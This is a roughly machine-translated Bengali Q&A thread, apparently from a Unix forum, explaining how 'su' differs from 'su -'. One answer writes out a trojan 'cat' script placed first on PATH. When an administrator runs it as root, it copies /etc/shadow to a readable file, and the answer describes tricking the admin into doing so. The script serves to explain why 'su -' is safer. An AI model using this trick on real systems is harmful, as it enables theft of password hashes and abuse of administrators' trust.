উত্তর:
su -
ব্যবহারকারী স্যুইচ করার পরে একটি লগইন শেল আহ্বান। একটি লগইন শেল বেশিরভাগ পরিবেশের ভেরিয়েবলগুলি পুনরায় সেট করে, একটি পরিষ্কার বেস সরবরাহ করে।
su
পুরানো ব্যবহারকারীর মতোই পরিবেশের সাথে একটি সাধারণ শেল সরবরাহ করে কেবল ব্যবহারকারীকে স্যুইচ করে।
কল্পনা করুন, আপনি কোনও মেশিনে সাধারণ ব্যবহারকারী অ্যাক্সেস সহ একটি সফ্টওয়্যার বিকাশকারী এবং আপনার অজ্ঞ প্রশাসক আপনাকে কেবল রুট অ্যাক্সেস দেবেন না। আসুন (আশা করি) তাকে ঠকাই।
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
এখন, আপনি আপনার প্রশাসককে জিজ্ঞাসা করুন কেন আপনি cat
আপনার বাড়ির ফোল্ডারে ডামি ফাইলটি করতে পারবেন না , এটি ঠিক কাজ করবে না!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
যদি আপনার অ্যাডমিনটি স্মার্ট বা কিছুটা অলস না হয় তবে তিনি আপনার ডেস্কে এসে তার অতি ব্যবহারকারী-শক্তি দিয়ে চেষ্টা করতে পারেন:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
কি দারুন! ধন্যবাদ, সুপার অ্যাডমিন!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
তিনি, তিনি।
আপনি হয়ত লক্ষ্য করেছেন যে দুর্নীতিযুক্ত $PATH
ভেরিয়েবলটি পুনরায় সেট করা হয়নি। su -
পরিবর্তে প্রশাসক প্রার্থনা করলে এটি ঘটত না।
umask
000 এর মতো একটি সেট করতে ভুলবেন না বা এটি কাজ করবে না।
su
PATH এর ভিতরে একটি ফাইল রাখতে পারে । বাস্তবের আচরণ অনুকরণ করা এতটা কঠিন নয় su
। এই সুপার-ইউজারটি যাইহোক নির্লিপ্ত হয়েছে :-)
su --
এর মতো নয় su -
: --
গেটপট (গুলি) (বা অনুরূপ) অপশন হ্যান্ডলারকে আরও বিকল্পের জন্য কমান্ড লাইনটি প্রক্রিয়াকরণ বন্ধ করতে বলে (উদাহরণস্বরূপ ব্যবহারকারীর বাকী অংশে যদি ফাইলের নাম থাকে যা '-' দিয়ে শুরু হতে পারে)। অর্থাত, মধ্যে "RM -i - -f": -f তারপর যেমন একটি নিয়মিত যুক্তি হিসাবে গণ্য হবে, তাই এটি হলো ফাইলের নাম থেকে rm -i
, এবং না একটি additionnal যেমন -f
বিকল্প rm
কমান্ড। তাই su --
ঠিক su
এবং না su -
! সুতরাং su --
ফক্কড় দ্বারা (মজার এবং শিক্ষামূলক) উদাহরণস্বরূপ givan হিসেবে অনিরাপদ হবে। ব্যবহার su -
।
su -
আপনাকে সম্পূর্ণরূপে মূল হিসাবে লগ ইন করে, যেখানে su
এটি আপনাকে রুট হওয়ার ভান করে চলে।
এর সর্বাধিক সুস্পষ্ট উদাহরণ ~
হ'ল আপনি যদি ব্যবহার করেন তবে মূলের হোম ডিরেক্টরি, তবে আপনি যদি ব্যবহার করেন su -
তবে আপনার নিজের ডিরেক্টরি ডিরেক্টরি su
।
আপনার সিস্টেমের উপর নির্ভর করে এর অর্থ প্রম্পট PATH
, বা ইতিহাসের ফাইলের মধ্যে পার্থক্যও হতে পারে ।
সুতরাং আপনি যদি কোনও সিস্টেম পরিচালিত একটি দলের অংশ হন এবং আপনার সহকর্মী আপনাকে চালনার জন্য আদেশ দেয়, আপনি জানেন যে আপনি উভয়ই ব্যবহার করছেন তবে এটি একই রকম হবে তবে আপনি যদি উভয়ই ব্যবহার করছেন su -
তবে আপনার su
পার্থক্যের কারণ হতে পারে বিভিন্ন শেল কনফিগারেশন।
অন্যদিকে, আপনি যদি রুট হিসাবে একটি কমান্ড চালাতে চান তবে নিজের কনফিগারেশন ব্যবহার করে থাকেন, তবে সম্ভবত আপনার পক্ষে su
এটি আরও ভাল।
এছাড়াও ভুলে যাবেন না sudo
, যার -s
শেলটি রুট হিসাবে চলমান শুরু করার বিকল্প রয়েছে । অবশ্যই এটিরও বিভিন্ন বিধি রয়েছে এবং আপনি কোন বিতরণটি ব্যবহার করছেন তার উপর নির্ভর করে এগুলি পরিবর্তন হয়।
.bashrc
বা /etc/bashrc
বা /etc/profile.d
স্ক্রিপ্ট সেটিং করা হয় PATH
। সন্ধান করুন if [ $UID -eq 0 ]
বা এরকম কিছু।
$USER
উদাহরণস্বরূপ অপরিবর্তিত রয়েছে।
sudo su
?
আমি su ব্যবহার করি - আমি যখন নিয়মিত ব্যবহারকারী হিসাবে কোনও ডিরেক্টরিতে থাকি তবে রুটে যেতে চাই এবং স্যুইচের পরে একই ডিরেক্টরিতে থাকতে চাই। আপনি যখন su ব্যবহার করেন - এটি ব্যবহারকারীকে রুটে স্যুইচ করে এবং আপনাকে / root এ নিয়ে যায় যা মূল হোম ডিরেক্টরি।
/
অথবা যাই হোক না কেন রুট এর হোম ডিরেক্টরি হিসাবে সংজ্ঞায়িত করা হয়
মূল পার্থক্যটি হ'ল:
su - username
শেল পরিবেশটি এমনভাবে সেট আপ করে যেমন এটি নির্দিষ্ট ব্যবহারকারী হিসাবে পরিষ্কার লগইন হয়, এটি নির্দিষ্ট ব্যবহারকারীদের পরিবেশের ভেরিয়েবলগুলি অ্যাক্সেস করে এবং ব্যবহার করে,
su username
সুনির্দিষ্ট ব্যবহারকারীর জন্য বর্তমান পরিবেশ সেটিংস সহ একটি শেল শুরু করে।
যদি ব্যবহারকারীর নামটি সুনির্দিষ্টভাবে নির্দিষ্ট না করা থাকে su
এবং su -
, রুট অ্যাকাউন্টটি ডিফল্ট হিসাবে অন্তর্ভুক্ত থাকে।
su --
হিসাবে একইsu
।